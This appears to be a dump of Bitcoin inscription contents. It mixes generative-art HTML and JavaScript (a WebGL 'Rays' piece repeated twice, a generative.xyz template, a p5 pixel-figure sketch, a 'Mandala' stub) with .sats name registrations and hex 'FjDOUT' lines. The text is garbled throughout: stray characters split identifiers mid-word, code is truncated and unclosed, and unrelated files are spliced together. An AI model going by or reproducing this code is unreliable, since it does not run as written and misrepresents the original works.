u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM
im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M
","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M
,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M
30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M
5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM
m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM
ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM
AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM
dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M
gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo
g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height);
window.$generativeTraits = {
  "Palette": pFeat,
  "Noisy": noiseFeat,
  "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal'
console.log(window.$generativeTraits)
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.minM
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern =M
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ M
Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >M
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
col =  ["#20C2CA", "#16C96E", "#C94434", "#2A6EC9", "#F2C12E", "#F2AE30", "#024959", "#593E25", "#951F4F", "#951F4F", "#FM
col2 =  ["#FF6580", "#89D9D1", "#8FBABF", "#BFBFBF", "#FEF8B4", "#F23005", "#025159", "#0F3566"]
col3 =  ["#D92D07", "#333745", "#032CA6", "#F2B705", "#222C40", "#1A0859", "#4146A6", "#1A804D"]
col4 =  ["#ffffff", "#F2C2E1", "#F2DF80", "#8BD9D9", "#ED83A4", "#BACDD9", "#080A05", "#F20505"]
bgcol = ["#F2F7EE", "#EBF2E8", "#F1F2C4", "#CEECF2", "#F2F0CE", "#E9EEE4", "#E6FFFA"]
	createCanvas(1600,1600);
	background(random(bgcol));
	c = col[Math.floor(mathRandM
	c2 = col2[Math.floor(mathRand()*col2.length)];
	head = Math.floor(mathRand()*6)+1;
	feets = Math.floor(mathRand()*6)+1;
	caps = Math.floor(mathRand()*6)+1;
	rect(600,800,100,400)
	rect(500,1000,100,100)
	rect(700,900,100,100)
	rect(800,1100,100,100)
	rect(900,900,100,100)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(600,700,400,100)
	rect(1000,600,100,200)
	rect(800,600,100,100)
	rect(700,800,100,100)
	rect(700,1000,100,100)
	fill(col4[Math.floor(mathRand()*col4.length)])
	rect(700,600,100,100)
	rect(900,600,100,100)
	fill(col3[Math.floor(mathRand()*col3.length)])
	rect(500,900,100,100)
	rect(500,700,100,100)
	rect(500,500,100,100)
	rect(600,400,100,100)
	rect(800,400,100,100)
  rect(600,500,400,100)
	rect(600,600,100,100)
	rect(1000,600,100,100)
	rect(600,600,100,100)
	rect(800,600,100,100)
	rect(1000,600,100,100)
	rect(700,600,300,100)
	fill(189, 191, 191)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(800,600,100,100)
	rect(1000,600,100,100)
	rect(700,700,100,100)
	rect(900,700,100,100)
	rect(1100,700,100,100)
	rect(600,800,100,400)
	rect(500,1000,100,100)
	rect(700,900,100,100)
	rect(800,1100,100,100)
	rect(900,900,100,100)
	rect(600,500,400,100)
	rect(600,600,100,100)
	rect(600,700,400,100)
	rect(1000,600,100,200)
	rect(800,600,100,100)
	rect(700,600,1000,100)
	rect(500,1200,500,100)
	rect(400,1100,100,100)
	fill(223, 223, 223)
	rect(600,1300,100,100)
	rect(800,1300,100,100)
	rect(500,1300,400,100)
	fill(223, 223, 223)
	rect(0,1200,400,100)
	rect(0,900,100,300)
	rect(100,1300,100,100)
	rect(200,1100,100,100)
	rect(300,1300,100,100)
	rect(100,1000,100,100)
	rect(600,1200,100,100)
	rect(800,1200,100,100)
	fill(223, 223, 223)
	rect(700,1200,100,100)
	rect(400,1200,200,100)
	rect(300,1100,200,1M
	rect(200,1000,200,100)
	rect(100,900,200,100)
	rect(100,800,100,100)
	rect(200,1200,100,100)
	rect(100,1100,100,100)
	rect(800,800,100,300)
	rect(700,800,100,100)
	rect(700,1000,100,100)
	rect(500,400,500,100)
	rect(700,300,300,100)
	rect(600,400,500,100)
	rect(600,300,300,100)
	rect(600,400,400,100)
	rect(700,300,200,100)
	rect(500,400,500,100)
	rect(500,300,100,100)
	rect(700,300,100,100)
	rect(900,300,100,100)
	rect(600,500,400,100)
	rect(500,600,100,100)
	rect(800,800,100,300)
	rect(700,800,100,100)
	rect(700,1000,100,100)
FjDOUT:BB8202000BD874878DF9FF3F7563EEC6C0D819B7727D5ED23409DBD229EB2AE2
FjDOUT:0BF594F09E35C17D3177424B50821C101B2B32BDEE1E29AA30404DFB245FD45E
FjDOUT:3607723B5341C309F2672E193B12B7794FAD4CB1C3725D11EC3322AC8344FD53
FjDOUT:75A78A46D460E6013925A778C75DD341B793FAB6702AE6104312B1F154ACAFD4
FjDOUT:2A6472D6BA85322E54D2DEE799B94986CBB2BF1081FB644D8295A9056BDD5FAE
FjDOUT:341708EDB4C40A55885EAE7E77E6D06D74C89A316E3E026F94867BA764F3C9F1
FjDOUT:2BE0BDF7EA7BBA2E520CD32C7CE910F33A36C5CEAE1C30BA9663E0E23189753D
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>"Rays" by Pawe
 Dudko | pdudko.com</title>
    <script id="snippet-random-code" type="text/javascript">
        // not editable
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M
 alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.lengthM
; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
    u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
            padding: 0;
            overflow: hidden;
  <canvas id="myCanvas"></canvas>
<script type="text/jaM
console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M
,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M
,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M
this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M
PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M
u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM
im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M
","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M
,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M
30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M
5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM
m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM
ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM
AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM
dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M
gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo
g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height);
window.$generativeTraits = {
  "Palette": pFeat,
  "Noisy": noiseFeat,
  "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal'
console.log(window.$generativeTraits)
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "CryptoGPT.sats"
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"8000000.sats"}h!
FjDOUT:3F3E00760FCC02EDEE948FA1B4771A3ACDA62780A84763BF9B7B6E6F0F36E898
FjDOUT:2D42A7A64AD4102DB8EC9FB21606475E545CF45811D3CA335F5E1837D3CA8358
text/plain;charset=utf-8
  "name": "18881.sats"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Mandala</title>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <script type="text/javascript" >
        // !!!!!!!!!!!!M
!!!!!!!!!!!!!!!!!!!!!!!!
        // INSERT YOUR GENERATIVE CODE HERE
        // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    <script id="snippet-random-code" type="text/javascript">
